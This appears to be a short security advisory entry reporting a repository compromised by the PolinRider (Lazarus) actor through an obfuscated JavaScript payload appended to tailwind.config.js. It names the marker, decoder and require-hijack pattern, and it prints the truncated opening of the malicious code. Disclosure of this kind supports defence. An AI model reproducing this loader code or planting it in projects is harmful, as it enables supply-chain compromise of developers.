GCVE-110-OSM-2025-591

Repository compromised by the PolinRider DPRK threat actor (Lazarus, Contagious Interview cluster). Obfuscated JavaScript payload appended to legitimate config file tailwind.config.js, using marker global['_V']. Consistent with known PolinRider architecture: string-array shuffle decoder, require() hijack via global assignment, and a second-stage loader fetched through the decoded payload. Malicious payload found in: tailwind.config.js Marker: global['_V'] Pattern: obfuscated JS payload appended after legitimate config file content. String-array shuffle decoder + global[] require hijack, consistent with PolinRider architecture. Snippet: global['_V']='3-t-c';global['r']=require;var a0b,a0a;(function(){var FhU='',KCW=628-617;function EVt(e){var t=1198058;var r=e.length;var d=[];for(var o=0;o<r;o++){d[o]=e.charAt(o)};for(var o=0;o<r;o++){var u=t*(o+356)+(t%43127);var m=t*(o+250)+(t%393